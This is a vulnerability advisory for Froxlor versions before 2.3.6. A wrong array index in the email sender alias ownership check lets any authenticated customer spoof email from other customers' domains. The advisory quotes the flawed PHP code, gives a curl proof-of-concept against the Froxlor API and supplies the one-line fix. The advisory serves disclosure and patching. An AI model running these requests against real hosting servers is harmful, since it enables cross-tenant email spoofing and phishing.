Skip to content

GHSA-vmjj-qr7v-pxm6 CVE-2026-41232

Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index Allows Cross-Customer Email Spoofing

Medium Packagist
Severity
5.0 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.23%
Chance of exploitation in the next 30 days. Higher than 13.96% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
2.3.6
Upgrade froxlor/froxlor to this version or later

Description

Summary

In EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses.

Details

In lib/Froxlor/Api/Commands/EmailSender.php at line 100, when a customer adds a full email address (not a @domain wildcard) as an allowed sender, the code splits on @ and takes index [0]:

// Line 96-106
if (substr($allowed_sender, 0, 1) != '@') {
    if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {
        Response::standardError('emailiswrong', $allowed_sender, true);
    }
    self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? "");  // BUG: [0] is the local part
} else {
    if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {
        Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);
    }
    self::validateLocalDomainOwnership(substr($allowed_sender, 1));  // CORRECT: passes domain
}

For input admin@domain-b.com, explode("@", "admin@domain-b.com") returns ["admin", "domain-b.com"]. Index [0] is "admin" — the local part, not the domain.

The validateLocalDomainOwnership() function (lines 346-355) then queries panel_domains for a domain matching "admin":

private static function validateLocalDomainOwnership(string $domain): void
{
    $sel_stmt = Database::prepare("SELECT customerid FROM `" . TABLE_PANEL_DOMAINS . "` WHERE `domain` = :domain");
    $domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);
    if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {
        Response::standardError('senderdomainnotowned', $domain, true);
    }
}

Since no domain named "admin" exists in panel_domains, $domain_result is false, and the function returns without error — the ownership check silently passes.

The inserted mail_sender_aliases row is then picked up by Postfix's sender_login_maps query (configured in mysql-virtual_sender_permissions.cf):

... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases
WHERE mail_sender_aliases.allowed_sender = '%s') ...

This query maps the allowed_sender back to the mail user, authorizing them to send as that address via SMTP.

PoC

# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,
# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)

# Step 1: As Customer A, add a sender alias claiming Customer B's domain
# Via API:
curl -X POST 'https://froxlor-host/api/v1/' \
  -H 'Authorization: Basic <customer-A-credentials>' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "EmailSender.add",
    "params": {
      "emailaddr": "myaccount@domain-a.com",
      "allowed_sender": "ceo@domain-b.com"
    }
  }'

# Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B
# Actual: 200 OK — alias is created because validateLocalDomainOwnership
#         receives "ceo" (local part) instead of "domain-b.com" (domain)

# Step 2: Verify the alias was inserted
curl -X POST 'https://froxlor-host/api/v1/' \
  -H 'Authorization: Basic <customer-A-credentials>' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "EmailSender.listing",
    "params": {"emailaddr": "myaccount@domain-a.com"}
  }'

# Step 3: Customer A can now send email as ceo@domain-b.com via SMTP
# because Postfix sender_login_maps will match the mail_sender_aliases entry
# and authorize Customer A's mail account to use that sender address.

The same attack works via the web UI by POST-ing to customer_email.php with action=add_sender and the target domain in allowed_domain.

Impact

Any authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:

  • Cross-customer email spoofing: Send emails impersonating users on other customers' domains, bypassing Postfix's smtpd_sender_login_maps restriction that is specifically designed to prevent this.
  • Multi-tenant isolation breach: The domain ownership check (validateLocalDomainOwnership) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses.
  • Phishing and reputation damage: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server.

Note: The wildcard (@domain) code path at line 105 is not affected — it correctly passes the domain to validateLocalDomainOwnership().

Recommended Fix

Change index [0] to [1] on line 100 of lib/Froxlor/Api/Commands/EmailSender.php:

// Before (line 100):
self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? "");

// After:
self::validateLocalDomainOwnership(explode("@", $allowed_sender)[1] ?? "");

This ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.

Affected versions

Packagist

PackageVulnerableFixed in
froxlor/froxlor
< 2.3.6
2.3.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

froxlor/froxlor Packagist → 2.3.6

composer
composer require froxlor/froxlor:^2.3.6

Severity breakdown

CVSS 3.1 5.0

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7788-ghfq-c6mh
Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints
Critical Also affects froxlor/froxlor
GHSA-xpr4-8vp6-c87j
Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection
Medium Also affects froxlor/froxlor
GHSA-5rw4-4665-cvwf
Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields
Medium Also affects froxlor/froxlor
GHSA-w27m-rmmf-g5w4
Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration
High Also affects froxlor/froxlor
GHSA-43gm-9rr3-cx7g
Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover
High Also affects froxlor/froxlor
GHSA-q4rm-m6xh-5pv7
Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API
Medium Also affects froxlor/froxlor
GHSA-mr9h-45p9-fg8h
Froxlor: Authenticated customers can read other customers' allowed sender aliases
Medium Also affects froxlor/froxlor
GHSA-f9rx-7wf7-jr36
Froxlor's API Authentication bypasses 2FA Authentication
High Also affects froxlor/froxlor
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor